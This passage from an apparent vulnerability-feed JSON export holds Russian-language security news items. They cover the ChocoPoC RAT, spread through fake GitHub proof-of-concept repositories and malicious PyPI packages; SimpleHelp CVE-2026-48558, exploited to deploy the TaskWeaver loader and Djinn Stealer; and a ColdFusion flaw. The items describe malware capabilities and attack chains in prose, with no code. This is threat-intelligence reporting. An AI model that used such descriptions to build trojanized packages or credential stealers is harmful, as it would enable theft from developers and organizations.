\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 Python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, ChocoPoC, \u0438\u0437 \u043d\u0430\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 Mapbox.\n\nChocoPoC RAT \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 Python, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0430\u043f\u043e\u043a, \u0441\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u043e\u0438\u0441\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0441 \u0445\u043e\u0441\u0442\u0430, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\n\n\u0414\u0430\u043d\u043d\u044b\u0435 Mapbox \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0445\u043e\u0442\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440.\n\nSekoia \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441\u0435\u043c\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 PoC \u043d\u0430 GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 ChocoPoC \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f FortiWeb (CVE-2025-64446), React2Shell (CVE-2025-55182), MongoBleed (CVE-2025-14847), PAN-OS (CVE-2026-0257), Ivanti Sentry (CVE-2026-10520), Check Point VPN (CVE-2026-50751) \u0438 Joomla SP Page Builder (CVE-2026-48908).\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e Skytext \u0431\u044b\u043b\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043e 2400 \u0440\u0430\u0437, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Linux.\n\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0440\u0435\u0437\u043a\u043e \u0432\u043e\u0437\u0440\u043e\u0441\u043b\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0443\u0436\u0438\u043b\u043e \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u043e\u0439 \u0434\u043b\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e\u0449\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u0438\u0445 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u044b \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432.\n\nSekoia \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f frint \u0438 skytext \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0435 slogsec \u0438 logcrypt.cryptography, \u0441 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 ChocoPoC.\n\n\u041d\u0435\u044f\u0441\u043d\u043e, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c PoC \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\u0423\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u044e\u0442 \u0432 \u0431\u0430\u0437\u0430\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u0442\u0435\u0447\u0435\u043a, \u0430 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0430\u0434\u0440\u0435\u0441 \u00ab\u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e\u00bb.\n\n\u0421 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 PyPI \u0438 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u043e\u0432\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u0438, \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u043c\u0438.", "creation_timestamp": "2026-07-13T13:00:05.587761Z"}, {"uuid": "68e5bd1e-1392-4aee-be1f-8bf804a22123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/true_secator/8360", "content": "\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (RMM) SimpleHelp \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0441 \u0446\u0435\u043b\u044c\u044e \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2026-48558 (CVSS 10) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OpenID Connect (OIDC) \u0432 SimpleHelp, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OIDC \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 SimpleHelp, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c\u0443 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Blackpoint, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u043b \u044d\u0442\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e: TaskWeaver, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 Node.js, \u0438 Djinn Stealer, \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0442\u0438\u043b\u0435\u0440\u0430.\n\nTaskWeaver \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f JavaScript-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0441 \u043f\u043e\u043b\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a Node.js. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Blackpoint, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043b\u044e\u0431\u043e\u0433\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nDjinn \u0431\u044b\u043b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, SSH-\u043a\u043b\u044e\u0447\u0438, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0442\u043e\u043a\u0435\u043d\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438, \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432.\n\n\u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0418\u0418, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u0430\u043c\u0438\u0445 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043c\u0430\u044f \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 SimpleHelp 5.5.16 \u0438 6.0 RC2. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0445 \u0438\u043c\u0435\u043d \u0438 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 Blackpoint, \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0430\u044f CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e CVE-2026-48558 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 KEV.", "creation_timestamp": "2026-07-13T13:00:06.170251Z"}, {"uuid": "3c6fbbda-332b-4d3d-a2e2-1e405e73d279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/xakep_ru/19658", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433 \u0432 Adobe ColdFusion \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Adobe ColdFusion (CVE-2026-48282) \u0441\u043f\u0443\u0441\u0442\u044f \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043d\u0435\u0439. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 